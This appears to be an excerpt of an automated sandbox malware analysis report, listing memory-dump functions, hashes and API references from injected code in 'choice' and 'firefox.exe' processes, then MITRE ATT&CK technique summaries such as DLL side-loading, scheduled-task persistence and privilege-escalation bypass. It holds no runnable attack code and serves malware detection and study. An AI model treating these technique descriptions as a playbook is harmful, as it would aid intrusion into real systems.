)/+2, xrefs: 048C3B02
4Kur, xrefs: 048C3AC3
Qsfu, xrefs: 048C3AA9
O}z}, xrefs: 048C3B56
yKy~, xrefs: 048C3AF4
]llp, xrefs: 048C3AED
uwy<, xrefs: 048C3B1E
)2,<, xrefs: 048C3ABC
P0<p, xrefs: 048C3B17
(,/2, xrefs: 048C3B48
Wuh3, xrefs: 048C3AFB
*2-', xrefs: 048C3AD8
2,2., xrefs: 048C3B41
pp}3, xrefs: 048C3AB0
s5<_, xrefs: 048C3B2C
tnsq, xrefs: 048C3B33
*(5<, xrefs: 048C3AE6
y3((, xrefs: 048C3B3A
/+2/, xrefs: 048C3B64
<RH<, xrefs: 048C3AD1
xsko, xrefs: 048C3ACA
-,+<, xrefs: 048C3B4F
nu3), xrefs: 048C3B5D

Memory Dump Source

Source File: 0000000A.00000002.2951551008.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_48c0000_choice.jbxd

Similarity

API ID:
String ID: (,/2$)/+2$)2,<$*(5<$*2-'$-,+<$/*<4$/+2/$2,2.$4Kur$<KSK$<RH<$O}z}$P0<p$Qsfu$WTHQ$Wuh3$]llp$nu3)$pp}3$s5<_$tnsq$uwy<$xsko$y3(($yKy~
API String ID: 0-2078937982
Opcode ID: 0d374fce451b3cb1192ed2ad3dab81be0fa4e91a4b9c66adf51a687bb18a52be
Instruction ID: 8416ac5f4f25fb582699b24491fc8cbb11048a276362b839dea255eb6c38e9a9
Opcode Fuzzy Hash: 0d374fce451b3cb1192ed2ad3dab81be0fa4e91a4b9c66adf51a687bb18a52be
Instruction Fuzzy Hash: 0E2153B044074CDBDF04EF85E590ADD7B70FF01304F90A25EE808AE254DA318A568B89

Function 04A52890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04A5293C
___swprintf_l.LIBCMT ref: 04A5295E
___swprintf_l.LIBCMT ref: 04A529A3
___swprintf_l.LIBCMT ref: 04A8A52E

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 04A8A54E
:%u.%u.%u.%u, xrefs: 04A8A5B8
ffff:, xrefs: 04A8A504
::%hs%u.%u.%u.%u, xrefs: 04A8A527

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 93639ff8d4c7d2cfaa51185dd954e4be91a4ad61ebf5742e8f57a9f8fab4536c
Instruction ID: 7248f1f08e302a3e0b3596fd1bbd63d15bd442d8d6baa69292c0925a5e3be7c0
Opcode Fuzzy Hash: 93639ff8d4c7d2cfaa51185dd954e4be91a4ad61ebf5742e8f57a9f8fab4536c
Instruction Fuzzy Hash: FD51D8B6B04116BFDB15DF989A90A7EF7B8FB48304714816AE865D7641E234FE408FE0

Function 04AC2410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04AC24A6
___swprintf_l.LIBCMT ref: 04AC24E2
___swprintf_l.LIBCMT ref: 04AC257D
___swprintf_l.LIBCMT ref: 04AC25A3
___swprintf_l.LIBCMT ref: 04AC25C8
___swprintf_l.LIBCMT ref: 04AC2608

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 04AC24DA
:%u.%u.%u.%u, xrefs: 04AC25FF
::%hs%u.%u.%u.%u, xrefs: 04AC249E
ffff:, xrefs: 04AC247D, 04AC249D

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 01487c086332fd58d8a200888f78020919b5adf3c142ef0cb06b3ced4a9e333f
Instruction ID: 5bea59f939e968452fed3aa86b3070d588e56cfbc063110dcf5f1800b83acfc6
Opcode Fuzzy Hash: 01487c086332fd58d8a200888f78020919b5adf3c142ef0cb06b3ced4a9e333f
Instruction Fuzzy Hash: B751E776E00649AFDB70DF5CC990A7FB7F9EB48304B0484AEE496D7681E674FA408760

Function 04A47630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 04A84787
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 04A84725
ExecuteOptions, xrefs: 04A846A0
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 04A84655
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 04A84742
Execute=1, xrefs: 04A84713
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 04A846FC

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 90200588998b865d7d74460ae5664d0542376a84b20049342f9aa3d99b7d673e
Instruction ID: 7e62814a75d5b5fc3ef6a28511ca562bffbc10b504256761c595ceb18efac433
Opcode Fuzzy Hash: 90200588998b865d7d74460ae5664d0542376a84b20049342f9aa3d99b7d673e
Instruction Fuzzy Hash: 0F510775600259BBEF10AFA4DD85FAE77B9EFC8304F4404A9E505AB190EB70BE458F60

Function 04AE6940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction ID: 1e10c754a3f8aab4f5d2705ea87afa9f8cf40f665dba12b33eb7b2d24b50c7da
Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction Fuzzy Hash: 9E022471508341AFD308CF1AC590A6FBBF5EFD8714F84892DB9A98B260DB31E905CB52

Function 04A5B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 04A5B6BF

Strings

-, xrefs: 04A5B650
0, xrefs: 04A5B66F
+, xrefs: 04A5B65A
0, xrefs: 04A5B695

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: c270e29be5aba435950901623efe2febc2012562fd0789203554596fe6f220e4
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: 34819070E062499EDF248F68CA917BEBBB1AF45312F184559DC61A76F1D734B8408B70

Function 04AC20E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04AC214F
___swprintf_l.LIBCMT ref: 04AC2172

Strings

[, xrefs: 04AC212B
%%%u, xrefs: 04AC2146
]:%u, xrefs: 04AC2169

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: acffac4a32e5dd639adf3941903b5bc7ca4e74941a8edaa43ca1a33c0c87c748
Instruction ID: cb8ded44bb9f69a7b90065ac8b5cdc4496bed3242bc6fc47e5fbcab46e162d17
Opcode Fuzzy Hash: acffac4a32e5dd639adf3941903b5bc7ca4e74941a8edaa43ca1a33c0c87c748
Instruction Fuzzy Hash: 4E213177E01119ABDB51EFA9D940AAEB7F8EF54744F45016AED05E3240E730A9018BA1

Function 04A3F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04A802BD
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04A802E7
RTL: Re-Waiting, xrefs: 04A8031E

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 4fc8f60d7b5a845c17859878da3306c217d187c5a32eda83b7b465fa9f4c0354
Instruction ID: 0f96430e63009b9f022f7afeb6751a06ed6481815b4d4ad9b9f0f58e5f8b4cfc
Opcode Fuzzy Hash: 4fc8f60d7b5a845c17859878da3306c217d187c5a32eda83b7b465fa9f4c0354
Instruction Fuzzy Hash: D2E1B071A187419FD725DF28C984B2AB7E0FB88324F144A5DF5A58B2E0E774F849CB42

Function 04A4BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 04A87B8E
RTL: Re-Waiting, xrefs: 04A87BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 04A87B7F

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 830b10187f8eebcdaf7a54dac324cfc5283bdcc4251bcaf6ff11edf802c44a54
Instruction ID: 32f48d98f0dc3eb5aa5bc9a64abeff0bbe1aa09804aa4844a5b55d4dbd1f1008
Opcode Fuzzy Hash: 830b10187f8eebcdaf7a54dac324cfc5283bdcc4251bcaf6ff11edf802c44a54
Instruction Fuzzy Hash: 7541BD353017029FDB24DF29CD41B6AB7E5EBC8724F100A2DE95ADB680DB31F9058BA1

Function 04A4B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04A8728C

Strings

RTL: Resource at %p, xrefs: 04A872A3
RTL: Re-Waiting, xrefs: 04A872C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 04A87294

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: dea11314677e5eca111605d1a2dba2fff7d3b6fdba535537ba46841c78c33679
Instruction ID: a5571d763075b964aac7e7bdd0fa98e139373815befb4a1d9076af1ee524a917
Opcode Fuzzy Hash: dea11314677e5eca111605d1a2dba2fff7d3b6fdba535537ba46841c78c33679
Instruction Fuzzy Hash: 3C41CF36700206AFEB20EF25CD41B6AB7A5FB84714F200619F955EB640EB31F8528BE1

Function 04AC2300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04AC238D
___swprintf_l.LIBCMT ref: 04AC23B3

Strings

]:%u, xrefs: 04AC23AA
%%%u, xrefs: 04AC2384

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: a91c0b8493c068fd3f9da8b7b52408fb9e89f4eee740d36a7b3105f669d6bd88
Instruction ID: ac7a9788f11db7363651c93c808e6740714432437f0c22618e54c7219831daa4
Opcode Fuzzy Hash: a91c0b8493c068fd3f9da8b7b52408fb9e89f4eee740d36a7b3105f669d6bd88
Instruction Fuzzy Hash: CC316473A002199FDB60DF29DD40BEEB7B8EB44714F44459AE849E3240EB30BA548FA1

Function 048C39EE Relevance: 6.3, Strings: 5, Instructions: 32COMMON

Download Yara Rule

Strings

82?*, xrefs: 048C3A14
,, xrefs: 048C3A24
9$7., xrefs: 048C3A2C
r~:;, xrefs: 048C3A07
;r~<, xrefs: 048C3A1C

Memory Dump Source

Source File: 0000000A.00000002.2951551008.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_48c0000_choice.jbxd

Similarity

API ID:
String ID: ,$82?*$9$7.$;r~<$r~:;
API String ID: 0-3609984755
Opcode ID: 80b8583e03af771b33589e52385bfd7e76328a28b2880d175564c6cb31d9f703
Instruction ID: 983c5b696800c01a1715bba1c2bc9429ff99ef054c6b7380ac0b06a09c65ef5b
Opcode Fuzzy Hash: 80b8583e03af771b33589e52385bfd7e76328a28b2880d175564c6cb31d9f703
Instruction Fuzzy Hash: 9CF0B430018B949BD708AF10D448EA67BE4FF8A309FC05B5DF489DB111DA79DA468B86

Function 04A57D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 04A57E8B

Strings

-, xrefs: 04A57DDD
+, xrefs: 04A57DE8

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: e98a4fb10b156e81390d8220e245c1a79c7b40081029d1ee43ea20d263234045
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: 3D91B179E002169FEF24DF69CA80ABEB7B5AF44320F54451AEC55F72E0E734A940CB60

Function 04A19126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 04A19175
$, xrefs: 04A19191

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: c1dc7c74d5f769a4d636a90baab1b941c5181a9443d3b47f222549d9cd8afd13
Instruction ID: 52023a3fa1526457686c0a2c37735bd5347c51610f877df90935257d701437d9
Opcode Fuzzy Hash: c1dc7c74d5f769a4d636a90baab1b941c5181a9443d3b47f222549d9cd8afd13
Instruction Fuzzy Hash: 5B810DB2D012699BDB35DF54CD44BEEB7B8AB08714F0041DAE919B7250E770AE84DF60

Analysis Process: firefox.exePID: 1908, Parent PID: 8104COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	43
Total number of Limit Nodes:	4

Executed Functions

Function 000001BADB828761 Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
Instruction ID: 4791de4a73d5311643ca3514a60c6d8cf3a66f759e03df61e59036f76f6fa22e
Opcode Fuzzy Hash: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
Instruction Fuzzy Hash: 505169322187458EEB159A78D4913EEBBE0FF5D310F89096DD496CB9D3DB268442C742

Function 000001BADB834F5F Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347a13435c7f47cb4bd3d641f41ed67b8d8756f54f41119ec61586b8897191f2
Instruction ID: 13110e47557ccdee4dc856c0d9e14ea0a61f9e027e1052e5821aeb7784f4242c
Opcode Fuzzy Hash: 347a13435c7f47cb4bd3d641f41ed67b8d8756f54f41119ec61586b8897191f2
Instruction Fuzzy Hash: 97419E30714A484AEBA4BBA484967DD72D1FF9C300FD40979A84AC7BC3DB35D8448B53

Function 000001BADB8294B7 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNELBASE ref: 000001BADB829500

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
Instruction ID: 14195fea55949827660336ae0a1a46c91d7428ca0ca8e653419d1751ad30b4e9
Opcode Fuzzy Hash: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
Instruction Fuzzy Hash: BD210B30714A198FEB95EB6880D57ED72D0FF69700FC505BEE58AC65CBCB2488818686

Function 000001BADB82887E Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000001BADB828915

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
Instruction ID: 05d8d10db54385a8215231d2cc18d8ac503f9f02525d5ecdcf5d18d57e058bac
Opcode Fuzzy Hash: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
Instruction Fuzzy Hash: 4911E530224A054BFB45AF68C48A3DAB3E1FF5C304F850539D819CB6D9DB7984428B52

Function 000001BADB832902 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 000001BADB832981

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 10991c725ebc5ca467907168f1613dc24b379703bb66119adb9008cbe50dc9b3
Instruction ID: dfa3fe11d93ab61350fbbe95556b42a50c97767beb46a554f859b5b845bab2b0
Opcode Fuzzy Hash: 10991c725ebc5ca467907168f1613dc24b379703bb66119adb9008cbe50dc9b3
Instruction Fuzzy Hash: 70015231318A094BE754EB74C4997EBB3E0FF9C304F840529A88DC26D1EB39D644C742

Function 000001BADB828888 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000001BADB828915

Memory Dump Source

Source File: 0000000B.00000002.2493902075.000001BADB7B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000001BADB7B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1badb7b0000_firefox.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
Instruction ID: faa09c08d8daedb5e0b07849be300d31133b44596d05200c561792a7e83eaefd
Opcode Fuzzy Hash: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
Instruction Fuzzy Hash: 5211C030214A098BFB45EF68C4893AAB3E1FF9C304F85457ED469CB6DADB79C4418B52

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
